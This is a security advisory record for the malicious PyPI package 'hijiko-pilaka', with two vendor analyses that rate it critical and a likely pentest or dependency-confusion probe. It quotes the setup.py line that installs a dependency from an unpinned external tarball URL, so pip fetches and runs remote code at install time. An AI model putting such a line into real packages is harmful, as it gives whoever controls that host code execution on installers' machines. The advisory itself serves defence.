---
id: MAL-2026-18111
title: Malicious code in hijiko-pilaka (PyPI)
summary: Malicious code in hijiko-pilaka (PyPI)
severity: critical
exploited: true
vendor: hijiko-pilaka
product: hijiko-pilaka
ecosystem: pip
affected:
  - hijiko-pilaka
published: '2026-10-20'
updated: '2026-10-29'
sourceUpdated: '2026-10-29T13:48:11.026019139Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/MAL-2026-18111'
references:
  - url: 'https://bad-packages.kam193.eu/pypi/package/hijiko-pilaka'
  - url: 'https://pypi.org/project/hijiko-pilaka/1.0.0/'
tags:
  - osv
  - pip
  - malware
ingestedAt: '2026-10-21T11:54:42.743Z'
---

## Overview


---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (618fc4257600bc10efdde21aaa2bfe35b4e2138a4c2ea6997c4e1b0daac4b55b)
hijiko-pilaka 1.0.0's setup.py declares its only dependency, `native-delta-field-walker`, via a direct URL to a tarball on artifacts.vacsdk.com rather than a PyPI version range: `install_requires=["native-delta-field-walker @ https://artifacts.vacsdk.com/pypi/native_delta_field_walker-1.0.0.tar.gz"]`. There is no hash pin or signature, so pip downloads and installs whatever bytes that URL serves at install time, executing any setup.py / build-backend / lifecycle code inside the fetched sdist. The shipped `hijiko_pilaka.py` is a 41-byte stub, so the manifest line is effectively the entire install-time surface. The host artifacts.vacsdk.com is unrelated to PyPI and is not pinned by digest, giving whoever controls that URL arbitrary code execution on any machine that runs `pip install hijiko-pilaka`.

## Source: kam193 (1ca95d97923a23c0fd145b6cc4def7910fa36f1b4c4e5e3cf40e5bab8c9e250d)
The package uses fake http-downloaded dependencies to track downloads, and has no other purpose.


---

Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.


Campaign: 2026-10-vacsdk


Reasons (based on the campaign):


 - dependency-confusion


## Affected packages

- `hijiko-pilaka`

## Remediation

Refer to the advisory for the patched release.